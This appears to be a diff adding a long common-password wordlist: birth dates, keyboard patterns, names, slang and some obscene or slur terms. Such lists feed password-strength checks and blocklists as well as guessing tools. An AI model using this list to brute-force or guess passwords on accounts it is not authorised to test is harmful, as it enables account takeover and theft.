+alkaline
+Alexandr
+aggie
+abcxyz
+ab1234
+a4tech
+9696
+823762
+777000
+555555555
+4747
+4226
+333333333
+3151020
+31121980
+31101990
+31101978
+31081988
+31081983
+31031984
+31011986
+30121983
+30111985
+30101981
+30091994
+30091982
+30081987
+30061991
+3004
+30011978
+30011977
+29121991
+29091993
+29091981
+29071992
+29041983
+29031985
+29031984
+29021980
+28121983
+28121982
+28121981
+280888
+28081991
+28061982
+28051993
+28031979
+28011981
+27101983
+27051993
+27041984
+27021982
+26121977
+26101992
+26101982
+26061981
+26051984
+26021984
+26011983
+25081991
+25081980
+250789
+250787
+25061994
+25061991
+25061989
+250585
+25051995
+25051982
+25051979
+2505
+25041979
+25031990
+24121981
+24111984
+24091981
+240586
+24031986
+24021994
+24011981
+2356
+23101991
+23101979
+23091990
+23091978
+23081989
+23081987
+23081977
+23061979
+23051992
+23041977
+230289
+23021973
+22101992
+22091982
+22081977
+22071982
+22061986
+22051992
+22031985
+22031978
+22021982
+22021980
+2202
+21121983
+21121981
+21121977
+21111981
+21101992
+21101991
+21091983
+21081981
+21051982
+21031993
+21011983
+20112011
+20111982
+20101989
+20101983
+200888
+20071991
+20051990
+20051980
+20041991
+200383
+20031993
+1qazxc
+19591959
+1914
+19121984
+19091993
+19091991
+19091978
+19071995
+19061983
+19031989
+19031982
+18121993
+18111979
+18101992
+18101982
+18081983
+18071987
+18021990
+18021981
+18011983
+17121980
+17111980
+17101979
+17081991
+17061979
+17031994
+17011988
+16101982
+16091980
+16081987
+16081979
+16061980
+16031989
+16031980
+16021993
+16011984
+1600
+1596321
+15121979
+15101988
+15091978
+150788
+15061989
+1505
+15031980
+1469
+14091979
+14081993
+14041981
+14021980
+14011980
+13121979
+131185
+13101994
+13081992
+13071986
+130585
+13031984
+13011976
+123456b
+1230123
+12241224
+121278
+12121992
+120985
+12081991
+120783
+12071994
+12071986
+12071976
+120690
+120677
+12061991
+12041976
+12021992
+11122233
+111189
+11021980
+11011981
+11011977
+1080
+101285
+10121980
+10101979
+10061981
+09121990
+09121986
+09091980
+09011988
+09011984
+08121981
+08091992
+08071992
+08071979
+08061981
+08011984
+07111989
+07081991
+07081988
+07081978
+07061982
+07051993
+07051981
+07031987
+07011992
+07011983
+0666
+06121983
+06101988
+06101982
+06051992
+06041980
+06031990
+06021982
+06011985
+05121991
+05091986
+05051975
+05041992
+05041982
+05041981
+04111982
+04071977
+04061981
+04051991
+04051981
+04041993
+04041981
+04041979
+04021992
+04011992
+04011991
+04011985
+04011980
+03121983
+03121982
+03111989
+03101981
+03091985
+03091980
+03061979
+02111984
+02111983
+02111982
+02011992
+02011970
+01121975
+01111991
+01111982
+01101983
+01091991
+01081981
+01081975
+01061981
+01051991
+01031994
+01011958
+yuliya
+yngwie
+yanks1
+xmas
+xaxaxa
+wooden
+wizzard
+willy1
+watching
+warsaw
+wannabe
+walking
+video1
+vfkbyf
+vasiliy
+vangogh
+urlaub
+twostep
+turk182
+tryagain
+trekker
+tramp
+toonces
+tomboy
+tom123
+theshit
+theclash
+terri
+terrence
+terrance
+taytay
+system1
+sunbeam
+streak
+steiner
+stefania
+stefani
+soviet
+southside
+sonny1
+solnishko
+soft
+smokedog
+smarty
+slayers
+skins
+sk8ordie
+singh
+sienna
+shoot
+shitfuck
+shaun
+scotts
+sarina
+sanjose
+samue
+sage
+saddle
+Russian7
+rsalinas
+roserose
+rosco
+rootedit
+ronald1
+rodger
+robyn
+robson
+riptide
+reviews
+renee1
+reindeer
+regional
+rebbyt34
+reaver
+ralphie
+raketa
+rainer
+radius
+r4e3w2q1
+quake3
+qqqqqqqqqq
+qazwsxedc1
+qazplm
+puma
+princ
+premiere
+porshe
+poi098
+pingvin
+phrases
+philipp
+pass12
+pamel
+optiplex
+opopop
+omerta
+olives
+nutella
+noreen
+nokia5230
+nogard
+nika
+nickolas
+nickels
+nfy.irf
+naples
+nacked
+mystical
+mummy
+mowgli
+movers
+monkeyma
+momsanaladventure
+mocha
+mnbv
+minimum
+miki
+MIKE
+Mike
+micky
+MICHELLE
+meowmix
+mensch
+matros
+maryanne
+markiza
+marketing
+marketin
+mark123
+marishka
+mamo4ka
+mackenzi
+lugano
+luckie
+lovel
+loloxx
+linus
+LETMEIN
+lemon1
+leafs
+last
+lasalle
+laracroft
+lampard
+lagwagon
+krypto
+kruger
+klaatu
+kjifhf
+kevin123
+kerrie
+josie
+jigsaw
+Jessica1
+jelena
+jaycee
+janeway
+jackie1
+ironhors
+intern
+information
+howie
+hotter
+hotbabes
+hornyguy
+homeless
+hogwarts
+hernande
+hehe
+headless
+Hd764nW5d7E1vb1
+Hannah
+hamburger
+gravis
+grandpri
+grammy
+gopack
+goodfell
+goochi
+golfclub
+gobigred
+glider
+girsl
+geil
+garret
+gabby1
+fyyeirf
+furman
+fun4me
+fuckedup
+fremont
+foxcg33
+forme
+Ferrari
+feniks
+eyeball
+everquest
+evergree
+ethan1
+ericeric
+ererer
+envision
+eightbal
+ecuador
+eatme2
+dumdum
+dude123
+druid
+drinker
+doggydog
+dogggg
+djkjlz
+dhjnvytyjub
+detroit1
+detect
+details
+delsol
+dazzle
+davidb
+database
+dangerou
+damion
+cujo
+crave
+crafty
+craft
+corgan
+cooker
+computers
+citibank
+chowder
+choppers
+chango
+catalog
+cannonda
+callofduty
+cake
+bunbun
+bullwink
+brunette
+bravehea
+BOOMER
+bookcase
+blunted
+blackcock
+biker1
+biggirl
+BIGDICK
+BIGBOY
+beyond
+beyonce
+beepbeep
+becky1
+beaks
+bdfyjdf
+bassbass
+bartok
+bagels
+badbad
+arrakis
+armstrong
+arman
+arielle
+antigone
+angelok
+angele
+amnesia
+AMANDA
+allyson
+alex1
+akasha
+agatha
+ace123
+abstract
+999111
+987654321q
+979797
+929292
+885522
+777vlad
+6767
+6565
+500500
+369852147
+3141
+3110
+31081994
+31071981
+31051984
+31031981
+30111984
+30101989
+30081991
+30011976
+29121993
+29111980
+29101993
+29061992
+29051982
+29051980
+29041991
+29031995
+28101987
+28061992
+28021993
+27121987
+27121984
+27101993
+27081983
+27061992
+27061986
+27051982
+27041982
+27021983
+26111979
+26091980
+26071993
+26061988
+26061984
+26051982
+26031981
+25111979
+251086
+25101992
+25101984
+250486
+25041982
+25041981
+25041977
+25021993
+25021982
+25011992
+24121983
+24111980
+24111979
+24091979
+24041982
+24021981
+24011979
+2345678
+23121992
+231189
+23081982
+23071987
+23041981
+23031993
+23031978
+222444
+22111978
+22071993
+22061980
+2206
+220388
+22031994
+22031988
+21111991
+21101978
+210586
+21031994
+20121983
+20101981
+20091995
+20091992
+20081992
+20041993
+20031976
+20021994
+1q2w3
+19531953
+1940
+1939
+1917
+19121994
+19121993
+19121991
+19101977
+19081989
+19051991
+19041991
+19031993
+19031992
+19031988
+19031984
+19021989
+18121991
+18101979
+18091992
+18081980
+18011982
+17171717aa
+17111990
+17111983
+170985
+17081994
+170685
+16121977
+161187
+16111993
+16111980
+16061982
+160590
+16051996
+16031984
+15121991
+1512
+15091984
+15081979
+15081978
+15071993
+15051979
+15051978
+15041978
+15031981
+1502
+147896321
+141289
+14101981
+14071981
+14061995
+14051989
+14041983
+14031972
+140289
+14021979
+14021978
+13111981
+13091991
+130684
+13031993
+13031982
+13021983
+130184
+12s3t4p55
+1254
+123qweas
+1234569
+122334
+122122
+12121979
+12111979
+120989
+12081980
+120785
+120782
+12071979
+12061983
+1203
+12021979
+12011994
+1119
+11121979
+11121978
+11071992
+11071982
+11071979
+11061990
+11061979
+110588
+110582
+11051977
+110386
+11021986
+11021979
+11011978
+10111980
+101089
+10091990
+10091987
+10091982
+10081979
+10071977
+10061982
+10051991
+10041988
+09121984
+09111986
+09111984
+09101979
+09091981
+09061992
+09061982
+09031983
+09021992
+09021979
+09011986
+08101990
+08101983
+08091991
+08091990
+08081987
+08031978
+08011991
+07121977
+07111992
+070787
+070784
+07071991
+07061987
+07051991
+07031990
+07021982
+07021981
+07011981
+06091983
+06091982
+06081982
+06081981
+06071976
+06061978
+06031993
+06031981
+06021980
+06021979
+05121979
+05111988
+05111987
+05101981
+05081984
+05031993
+05031980
+05011986
+04121983
+04041994
+04041980
+04031993
+04031992
+04031983
+04031980
+04021983
+03121989
+03111980
+03051983
+03021981
+02121991
+02111988
+02101991
+01121978
+01071994
+01021982
+01021981
+01021976
+01011964
+0077
+zzz123
+ZZ8807zpl
+youandme
+ynot
+yfnfitymrf
+woof
+woodside
+woodrow
+witch
+wayer
+waldo1
+volkodav
+vishnu
+vicki
+vfnbkmlf
+veteran
+twins2
+triplets
+timothy1
+timelord
+thriller
+theedge
+thebest
+tenerife
+techniques
+takamine
+tahoe
+sweetass
+sundown
+sunbird
+storys
+stas
+sparkey
+spaniel
+sokolov
+slippy
+slicer
+slam
+skull
+skating
+sincity
+shotokan
+shiraz
+shelby1
+shayne
+shandy
+shade
+sexyass
+sexsexse
+Severin
+seventy
+selmer
+scrooge
+scoote
+schmuck
+saratov
+sanane
+sammi
+same
+SAMANTHA
+rushrush
+RuleZZZ
+royboy
+rostov
+rosie1
+rosanna
+romanov
+rocky123
+rockman
+rjnzhf
+rashid
+rabbi
+qwerty78
+quest1
+pyramids
+produce
+prelude1
+potatoes
+pornpass
+poppie
+pomidor
+policy
+planeta
+pintail
+pilsner
+phaedrus
+pfqxbr
+pfloyd
+peternorth
+peepers
+Paul
+patrizia
+password11
+passwerd
+pappy
+panorama
+oasis1
+nokia5130
+nissan1
+niklas
+Nikita
+newjob
+newday
+nemesis1
+natascha
+nastena
+mystuff
+mypussy
+music123
+Murphy
+muffdive
+motorcyc
+morbid
+montero
+money2
+moemoe
+misiaczek
+minute
+merlyn
+MERCEDES
+mentos
+maximilian
+mathieu
+marriott
+marmite
+marat
+manual
+manage
+malakas
+maine
+madonna1
+macintosh
+lovem
+lovely1
+Love1
+lothar
+lorenz
+lololol
+lili
+light1
+league
+laure
+kristen1
+kodak
+killzone
+keksa12
+keesha
+johan
+joeblow
+jesus7
+janet1
+jamesb
+jakester
+jacko
+ivanhoe
+insertions
+insertion
+impalass
+ijrjkflrf
+igorek
+iceman1
+hunter2
+humble
+hook
+holdem
+hirsch
+henning
+helpless
+hazmat
+Harley1
+hardwork
+HAMMER
+gumby1
+gulliver
+grapeape
+goonies
+goody
+goodwill
+gomets
+gohan
+gman
+ginscoot
+ginola
+ginge
+gibson1
+ghjnjnbg
+getmein
+genocide
+gbyudby
+gaijin
+Gaell
+fynjybyf
+funtik
+fridge
+fragile
+fool
+flippy
+flashman
+fkbyrf
+first1
+fifteen
+fettish
+feetfeet
+fear
+factor
+facefuck
+evanescence
+ethernet
+elvis123
+eatme69
+dshade
+dragon11
+domestic
+doggys
+dodges
+ditto
+Diablo
+deuce
+davidc
+dancer1
+Dakota
+cradle
+COWBOY
+cortina
+coolgirl
+concept
+cocktail
+cluster
+class
+citron
+cimbom
+chronos
+chrisb
+chelsey
+chauncey
+chas
+cezer121
+cerveza
+cedar
+ceaser
+caterina
+cassi
+carlotta
+carlin
+candys
+camino
+callahan
+byron
+buick
+buff
+bruno123
+bribri
+braxton
+bowie
+boots1
+booboo1
+bobmarle
+bobb
+bloopers
+blondy
+blindax
+blackcoc
+bigdog1
+bhjxrf
+belfast
+bedroom
+baywatch
+baraka
+ballard
+bahamas
+badguy
+axeman
+asdfjkl;
+asas
+archangel
+antwerp
+anthony2
+Angela
+Andrey
+amo
+althor
+adeline
+acer
+acacia
+abrupt
+8PHroWZ622
+8899
+852963
+8520
+78963214
+747400
+69213124
+67camaro
+622521
+50505050
+4rfv3edc
+45612
+4554
+4141
+3838
+3728
+357mag
+311088
+31101992
+31081992
+31081991
+31071992
+31071978
+31011978
+30121989
+30121982
+30111993
+30091991
+30091990
+30081980
+30071980
+30051990
+30031982
+30011981
+3001
+29111991
+29091994
+29091979
+29081992
+29081984
+29081979
+29071984
+29051976
+28101990
+28101984
+28101981
+28091979
+28081992
+28081987
+28041984
+28021994
+27121980
+27101984
+27101982
+27101980
+270988
+27091981
+27091980
+27061991
+27061987
+27041992
+27041981
+270388
+27021993
+27021989
+27021981
+261288
+261184
+26101979
+26081991
+260789
+26061977
+260285
+26021993
+2506
+25051975
+250484
+25000
+24111978
+240787
+24071985
+24061983
+24051983
+240484
+24041978
+24021982
+24011994
+23121993
+23121981
+231089
+23101989
+23101983
+230888
+23071980
+23061981
+23021980
+224488
+22121980
+22111984
+22101986
+220990
+22081984
+22061983
+220586
+22051979
+22021983
+22011980
+21121993
+21091981
+21071991
+21071981
+21071980
+21061979
+21041982
+21041980
+210388
+21021981
+20111993
+20111980
+201087
+20101979
+20091981
+20091979
+20081998
+20071979
+200688
+20051982
+20021978
+1hxboqg2
+1911a1
+19111983
+19071987
+18121981
+18111980
+180983
+18071985
+18061978
+18031987
+1800
+17111994
+17101984
+17081979
+170787
+17071981
+17061980
+17041978
+17031981
+1660
+16121984
+16121978
+161084
+16091993
+16081982
+16071990
+16071976
+16051992
+16021978
+15111994
+15091979
+15081974
+15061975
+150389
+15021992
+14531453
+14121982
+14101982
+1410
+14091992
+14081995
+14071994
+14071991
+14071982
+14061992
+14061978
+14041990
+14041977
+139139
+131086
+1310
+13091994
+13091981
+130876
+13081989
+13071981
+130689
+130687
+130577
+13031979
+13021980
+130189
+13011980
+123masha
+123hfjdk147
+123bbb
+123698
+123458
+123456789k
+123456789012
+123123z
+121286
+12111989
+12101991
+12091994
+12061993
+120285
+12011978
+11121993
+111185
+11101992
+110786
+11051993
+11041977
+11011994
+11011984
+11011983
+110110
+10111992
+101098
+10101968
+100886
+10081994
+10021980
+09121988
+09101987
+09061993
+09061985
+09051992
+09051982
+09051980
+09041993
+09031984
+08101993
+08101991
+08071981
+08061993
+08061980
+08051978
+08041991
+08021981
+08011993
+07071981
+07051979
+07041993
+07041991
+07031980
+07011984
+06121993
+06101984
+06051981
+06051976
+06041983
+05121987
+05071992
+05061992
+05021979
+04051992
+03111982
+03101987
+03071988
+03041979
+03041977
+03031980
+03021983
+02111991
+02021996
+02021995
+02011991
+01230123
+01121983
+01101993
+01061994
+01061980
+01031979
+000069
+zzz111
+zztop
+zxcvvcxz
+ZXCVBNM
+zaqzaq
+yesterda
+XXXXXX
+xxx666
+windows1
+wilmer
+wicket
+wendys
+volkswagen
+view
+vfhbirf
+vette1
+vaughan
+vaseline
+vamp
+uzumymw
+under
+uhbujhbq
+ub6ib9
+tulane
+truck1
+torque
+tonka
+toni
+tomservo
+today1
+timmy1
+Thunder1
+thesaint
+test2
+tessa
+taxi
+surfer1
+supers
+steak
+ssssssssss
+splatter
+spide
+sonyvaio
+soledad
+soleda
+soccer13
+sober1
+snowman1
+snowdog
+snoopdogg
+snakeman
+smutty
+slide
+silvi
+silly1
+Sigmar
+shiznit
+shift
+sexyred
+seviyi
+secre
+saunders
+satori
+samanta
+saddam
+sabaka
+russell1
+Rulez
+robinhood
+repoman
+redrock
+rayman
+raul
+rattle
+raster
+RANGERS
+ramzes
+ramon
+racoon
+qwerty2
+qweewq
+queen1
+quarter
+pushing
+punter
+prick
+polaroid
+pokemon123
+plummer
+places
+pipe
+picturs
+pfkegf
+peter01
+penal
+patter
+patate
+patata
+pantie
+p455w0rd
+oralsex
+optical
+openopen
+open1234
+okay
+novifarm
+noob
+nolan
+nixon
+niki
+niggas
+nhfrnjh
+newpass1
+natal
+mysecret
+munson
+mueller
+mooner
+montecarlo
+momomomo
+moment
+mojave
+mistral
+missing
+mind
+milhouse
+mazda1
+mayfield
+maybe
+matias
+masha
+marita
+margaux
+mannn
+mango1
+mailbox
+maganda
+luv2epus
+luciana
+loveyou2
+love11
+lorelei
+libby
+lexingky
+lemmings
+learjet
+larsson
+kseniya
+kram
+klopik
+klaudia
+k.jdm
+kimmy
+kennwort
+katzen
+kajak
+Justin
+jerky
+Jasper
+jason123
+jacker
+ishmael
+irisha
+indycar
+index
+iloveporn
+iloveit
+hunters
+hotman
+hotchick
+homer123
+hombre
+hills
+hilfiger
+hercule
+hennessy
+heather2
+hawkwind
+hatchet
+happydog
+handle
+greta
+gregory1
+greatsex
+gotigers
+gooseman
+goodguy
+gonads
+go2hell
+giveitup
+getin
+ganjaman
+gandolf
+fuckem
+fritz1
+fred1234
+francesca
+fordf250
+forces
+federica
+fdsa
+fanatic
+fabiola
+evelina
+escher
+erasure
+empire1
+eleven11
+ebony1
+dropdead
+doomed
+doggystyle
+dog
+disney1
+dingo1
+devilmaycry
+destroyer
+Dennis
+delgado
+defcon
+deborah1
+dbrecz
+dawns
+davidoff
+darthvader
+danilo
+dadadada
+crunchy
+cronic
+cristal
+crew
+crevice
+Corvette
+contains
+complex
+columbo
+colossus
+cletus
+claudine
+chino
+chili
+chicco
+cheyanne
+chevy2
+Chelsea
+ceckbr
+cayenne
+catholic
+catdaddy
+cassius
+caspe
+canon1
+candie
+cambridge
+buttbutt
+butchy
+bushel
+buds
+bryson
+brutal
+brock
+brians
+borman
+boot
+boogaloo
+boobed
+bolero
+bobcats
+bloods
+blair
+blade1
+bigmama
+bigboy1
+bernhard
+ben123
+belle1
+beers
+beeker
+batgirl
+bassett
+barrel
+barbara1
+augusto
+asss
+assclown
+archon
+arcane
+aquarium
+anthem
+angeline
+anechka
+andreev
+alfalfa
+adventur
+acetate
+abudfv
+999777
+890890
+7575
+7272
+5tgb6yhn
+5hsU75kpoT
+5232
+345345
+34523452
+3216732167
+3113
+31121989
+31031992
+31031978
+31011980
+302010
+301280
+30121992
+30101992
+30101980
+300588
+30041981
+30031990
+30031981
+30031976
+3003
+30011984
+29111990
+29111977
+29061993
+29051983
+28121992
+28111980
+280886
+28071992
+28041985
+28031992
+28021995
+28021975
+28011993
+28011977
+28011974
+27121983
+27101977
+27091986
+27081979
+27071993
+27071981
+27061982
+27041994
+2611
+26071980
+260586
+26041982
+26041978
+25121993
+251088
+25101982
+250986
+25081992
+25081990
+250688
+25061993
+25061982
+25041993
+25011978
+24111986
+24101982
+2410
+24091992
+24091976
+24081983
+24071978
+24051982
+24031994
+24021978
+2315
+23061994
+23041980
+23031994
+221184
+22091992
+220690
+22051993
+22041980
+220390
+220387
+22031979
+22021978
+220185
+211221
+21091977
+21081984
+21081976
+210787
+210686
+21051992
+210487
+21031977
+21021980
+21011980
+20121991
+20121979
+201190
+20111992
+20111983
+20081980
+200587
+20041982
+20031982
+20031979
+1qazse4
+1Love
+19191919
+19111993
+19111991
+19101994
+19071977
+19061981
+19051978
+19041984
+19031981
+19021981
+19011992
+19011983
+18121982
+180986
+18081984
+180786
+18071984
+18071982
+18061979
+18051995
+180483
+18041981
+18041979
+18031990
+18021994
+18021983
+17121982
+17101981
+17091993
+17061981
+170588
+17041993
+17021994
+17011995
+17011993
+16121980
+16121976
+16091994
+16091981
+16081994
+16061993
+16051982
+16051978
+160284
+16021992
+15935
+15121981
+15101993
+15061981
+15051984
+15031978
+15031976
+14101979
+14091993
+14081981
+14071992
+14061979
+140386
+130989
+13081994
+13051984
+13041980
+13011979
+12345c
+123456abc
+123321z
+121277
+12121993
+12121978
+121185
+12111992
+12101992
+12061982
+12061978
+12051995
+120486
+12041975
+12031980
+12031978
+120287
+120283
+12011983
+12011976
+113113
+11121988
+111179
+11111981
+110887
+110780
+11071978
+11061978
+11051994
+11051981
+11041994
+11041979
+11031981
+110184
+10sne1
+101286
+10121983
+101182
+10111984
+101079
+10081978
+10071992
+10071979
+100585
+10051979
+10041980
+100388
+10031975
+100200300
+10011994
+09121976
+09111990
+09101981
+09081991
+09081978
+09041980
+09041975
+09011982
+088011
+085tzzqi
+08121992
+08111980
+08091979
+08081974
+08021993
+07111981
+07091980
+070788
+07071979
+07061989
+07061977
+07051983
+07041978
+07021978
+07011990
+063dyjuy
+06111988
+06081978
+06051982
+06031995
+06021990
+06011992
+06011976
+05091989
+05091983
+05081982
+05071979
+05061993
+05051994
+05031982
+05011980
+04101987
+04081990
+04071979
+04061976
+04041977
+04031986
+04021989
+04011982
+03121979
+03111985
+03101992
+03081986
+02121987
+02121984
+020986
+02071992
+01478520
+01101978
+01071979
+01051982
+01051981
+01021993
+0102030405
+zhen
+zelda1
+zeke
+yamahar6
+xman
+written
+windy
+willie1
+wiggles
+wedge
+waterpolo
+vvvvvvv
+vladvlad
+vargas
+valentino
+ultraman
+tylers
+trivia
+trish
+topsecre
+tittys
+tim123
+tigre
+tiffan
+tiff
+thrawn
+thelast1
+teabag
+tater
+tatata
+tanechka
+tandem
+tail
+supernatural
+summertime
+squire
+SPARKY
+sonya
+sonne
+sofiya
+social
+snacks
+slainte
+Silver
+shibumi
+shelton
+sheets
+shades
+sexe
+severin
+selene
+seal
+scorpi
+santino
+salvator
+saab9000
+rutgers
+router
+rooter
+romaroma
+romanova
+rincon
+rigger
+rickster
+revolt
+retsam
+resume
+regent
+RED123
+reborn
+raziel
+rattler
+rastus
+raindrop
+RAIDERS
+ragnar
+radio1
+qwerty77
+qazwsxedcrfvtgb
+qaqaqa
+princeto
+porn69
+poopsie
+pochta
+please1
+plaster
+piss
+penfold
+pegasus1
+papaya
+panpan
+pagan
+ovation
+osgood
+opensesame
+open123
+ololol
+Oliver
+ohbaby
+ocean1
+norma
+ninguna
+nigel
+niagara
+newhouse
+nemo
+needit
+nbuhtyjr
+murmur
+mosaic
+morozov
+monica1
+minnesota
+mille
+miles1
+mich
+Mature
+mattingl
+mateusz
+mate
+mariko
+mandolin
+mamma
+major1
+magics
+magadan
+maddison
+louisa
+loudog
+lotus123
+looloo
+lombard
+lives
+Liverpoo
+lite
+lincoln1
+letsplay
+leroy1
+lenin
+lebron23
+langley
+lacey
+labonte
+kthjxrf
+kosova
+kolibri
+kleenex
+kindred
+killah
+kayla1
+JUNIOR
+julieann
+juli
+joyful
+jordyn
+joaquin
+jenni
+javie
+james2
+jacqui
+jackdog
+ironman1
+incest
+idiots
+horn
+hippos
+henley
+hell666
+helen1
+harrys
+harpua
+hallo1
+halibut
+guilty
+guevara
+guesswho
+growler
+goal
+giveme
+gforce
+gfhjkm12
+gfcgjhn
+getsdown
+georgia1
+geology
+gbgbcmrf
+garter
+garnett
+gardens
+Gabriel
+funky1
+fuckof
+fucing
+franck
+foxhound
+flow
+flipmode
+fist
+fireman1
+fine
+ferrar
+fastcars
+fannie
+familia
+falstaff
+evergreen
+essence
+escobar
+error
+ericka
+edmund
+edmond
+echo
+dutchman
+duckhunt
+donut
+docdoc
+dobber
+distance
+dickey
+dewayne
+deathrow
+dashka
+danil
+damned
+dakine
+daffodil
+cvbhyjdf
+cute
+cumeater
+cueball
+crowley
+crowbar
+crocodil
+creatine
+crayon
+courier
+corpse
+coolone
+colony
+colombo
+cobraya
+cntgfy
+clara
+cipher
+christel
+Chris
+checkit
+chastity
+cesar
+cbr600rr
+cavalry
+catter
+camaro1
+calcutta
+cadman
+bushed
+buratino
+bulls23
+buffys
+buffalos
+budget
+brigada
+briefs
+Brandon
+bradshaw
+boromir
+bootleg
+bonzo
+blueman
+bluedevi
+blower
+blaise
+blackboy
+blackass
+bionic
+bigpun
+bignasty
+bigbad
+belgium
+beaumont
+baylee
+bavaria
+barclay
+Barbara
+balder
+badkarma
+babygir
+Austin
+astalavista
+argent
+anteater
+amores
+amoremio
+allright
+alligator
+allegra
+alanna
+academy
+939393
+8PHroWZ624
+7890
+7676
+74185296
+666666a
+654321a
+515253
+4848
+4563
+44magnum
+427900
+3465xxx
+32165498
+31101975
+310888
+31071993
+31071976
+310589
+310189
+31011991
+31011984
+31011976
+30121980
+30111991
+30091979
+30091978
+300780
+30071984
+30071981
+300590
+30041978
+300300
+291286
+29111981
+291084
+29061980
+29051981
+281185
+28091983
+280884
+280882
+28071976
+280690
+28061993
+28061987
+28051979
+28041975
+28011980
+27121977
+271185
+270886
+27081993
+270787
+27071979
+27071977
+27061981
+27031982
+27031981
+27011991
+26262626
+26121995
+26121992
+26081984
+26071994
+26051991
+26031993
+26011995
+258258258
+255255
+253634
+25111983
+25091978
+25091976
+25081979
+25071982
+25051976
+250383
+24681
+24121979
+24071979
+24061982
+24041979
+24011993
+24011978
+2337
+231183
+23111981
+23111979
+23091993
+23071977
+230588
+2305
+230487
+230486
+23031981
+23021979
+2288
+22121991
+221188
+22111975
+22091978
+22081980
+22061993
+22061977
+220587
+22031992
+22021977
+220187
+211288
+21121979
+2110
+21081983
+21071979
+21061982
+210588
+210386
+21031982
+21021982
+21021976
+20121976
+20111988
+20111978
+20111974
+20101978
+20051994
+200487
+1Letmein
+19111992
+1910
+19091989
+19051974
+19031991
+19011984
+19011976
+181089
+18051994
+18051983
+18041993
+18031992
+18021978
+1725782
+17101983
+17081981
+170585
+17051980
+170385
+170383
+17031978
+17011979
+16121994
+16111991
+16091983
+16081993
+16081981
+16081978
+16051983
+160190
+160187
+16011993
+15121980
+15101977
+150790
+150786
+150785
+15021982
+150185
+15011978
+14321432
+14121994
+14091985
+14081979
+14071993
+140689
+14031983
+14031981
+14011993
+13791379
+1357913579
+13121992
+13121981
+131085
+13101981
+13101980
+130790
+13051978
+130487
+13041982
+13041979
+13041978
+13021982
+123rrr
+123qwe456
+123456asd
+123456ab
+12345432
+123258
+1232
+121312
+121280
+12121975
+121212q
+121085
+12101980
+120885
+12081982
+12061995
+120588
+120579
+12051994
+120484
+120477
+12041981
+12041979
+120390
+12031995
+12011982
+1192
+111083
+11091981
+11081981
+11071981
+110384
+110288
+101088
+100882
+10061993
+10061979
+10031979
+100288
+10011981
+09071975
+09051979
+09041983
+09031993
+09021983
+09011983
+08121990
+080880
+08081980
+0808
+08051991
+08041987
+08031976
+08021982
+08011992
+08011985
+07121981
+07111990
+07111988
+07091994
+07091977
+07081975
+070782
+07061983
+07031981
+061290
+060686
+06051980
+06041993
+06011995
+06011994
+06011983
+05121980
+05101993
+05101985
+05101979
+05081980
+050584
+05041977
+05021986
+0428
+04111984
+04091982
+04071994
+04061992
+04051976
+04051975
+04031981
+04031977
+04021980
+0320
+03121977
+03111983
+03101980
+0310
+0308
+030778
+03041993
+03041982
+0302
+03011980
+02091992
+020383
+02032009
+01121981
+01111981
+01101981
+01092011
+01081979
+01061977
+01051977
+01051976
+01051970
+01012005
+zxzxzxzx
+zolushka
+your
+yfafyz
+yanks
+wysiwyg
+wiggle
+whoopass
+westlife
+wellhung
+wasdwasd
+warehous
+wahoo
+waffenss
+volkova
+voland
+voiture
+vineyard
+vicecity
+vfylfhby
+vfr750
+vergeten
+vegita
+vegas123
+usmc0311
+user345
+usausa
+ulrike
+ulrich
+ufhvjybz
+trucker1
+transfor
+touch
+tooltool
+tkfkdgo
+tigress
+tiger7
+thornton
+thewall
+theo
+teste
+teamwork
+TAYLOR
+taste
+tamuna
+swanky
+swallows
+surgeon
+summerti
+sully
+stuffer
+stewart1
+steve123
+stetson
+stamford
+staff
+spartan117
+spade1
+solidsnake
+snuggle
+Snoopy
+snookie
+skippy1
+sixtynin
+sinsin
+sigma1
+shifty
+shasha
+shabba
+sexy12
+SEXY
+service1
+sergej
+seraphim
+seahawk
+schatzi
+satin
+satellit
+sasasasa
+samba
+saab
+ruffles
+ronaldo7
+rome
+rocket1
+riddick
+rerfhfxf
+rerehepf
+rental
+renat
+remington
+redwolf
+redshift
+redneck1
+redbeard
+raptors
+ram1500
+rakkaus
+Rachel
+qwerty777
+qaz12345
+puppys
+puddle
+protoss
+professor
+product
+process
+postov1000
+politics
+polarbea
+polar
+pinguin
+pimpster
+pigpig
+photog
+perro
+percy
+payton34
+patterso
+passed
+pantyhose
+palomino
+outoutout
+onepiece
+nyyankee
+numbers
+nugent
+nolimits
+nippon
+ninanina
+nielsen
+nicknick
+newport1
+nectar
+NCC1701
+naruto1
+myhouse
+myboys
+muriel
+murdock
+mothra
+morley
+monkey11
+mongol
+monday1
+modem
+mischa
+miamo
+metalgear
+meltdown
+meeting
+mckenna
+mccarthy
+mayfair
+mattmatt
+Matthew1
+matter
+Matrix
+masterkey
+maripos
+marina1
+manhattan
+mamita
+magnavox
+maddy
+maciek
+lumpy
+lucien
+ltdjxrf
+lovegod
+lopas
+loglatin
+limpone
+lifeisgood
+licorice
+lemming
+leeds1
+learning
+Lauren
+lalaland
+lakers24
+ladles
+kuwait
+konrad
+kitty123
+kingsize
+kimchi
+juneau
+juanito
+jodeci
+jimmy123
+jenna1
+jaydee
+Jackie
+invis
+invictus
+intense
+ingram
+ibill01
+hottub
+hot123
+hickory
+hermann
+harding
+h2opolo
+Gy3Yt2RGLs
+guru
+gspot
+grove
+gophers
+goodness
+goodison
+goldman
+glassman
+giacomo
+ghjvtntq
+georges
+genghis
+gallery
+galaxie
+funeral
+fuckall
+fresh1
+FREEDOM
+forumWP
+forums
+fomoco
+flubber
+felicity
+feedme
+feanor
+fathom
+farrell
+Falcon
+failsafe
+fabrizio
+f15eagle
+excellen
+evil666
+evgenii
+emmitt22
+ella
+element1
+dumpster
+dogma
+djdjxrf
+divorced
+dillweed
+dildos
+diamant
+dewey
+denton
+Denise
+deepblue
+davis1
+dart
+darnell
+dantes
+dandy
+damn
+cumonme
+couple
+counterstrike
+cordoba
+coolbean
+conquer
+commerce
+colombi
+collecti
+clyde1
+cloggy
+chuchu
+chin
+chillout
+Chicago
+chemistr
+centre
+caribou
+carefree
+capital1
+calculus
+calamity
+caffeine
+bullock
+bucs
+buchanan
+Britney
+braves1
+bowl300
+Boston
+booper
+boilers
+bobert
+bobbi
+blue44
+black123
+bigpussy
+bigdick1
+bhbyrf
+Berlin
+beijing
+beck
+bastian
+basser
+barnaby
+barlow
+barakuda
+banks
+babushka
+assface
+assault
+asmodeus
+asdfg12345
+arse
+aquafina
+apollo1
+anna123
+angelito
+angel7
+anette
+ananda
+alright
+aloha1
+alfons
+alexandru
+alessia
+Alberto
+adam25
+a1a2a3a4a5
+963369
+951951
+911111
+9000
+67890
+55chevy
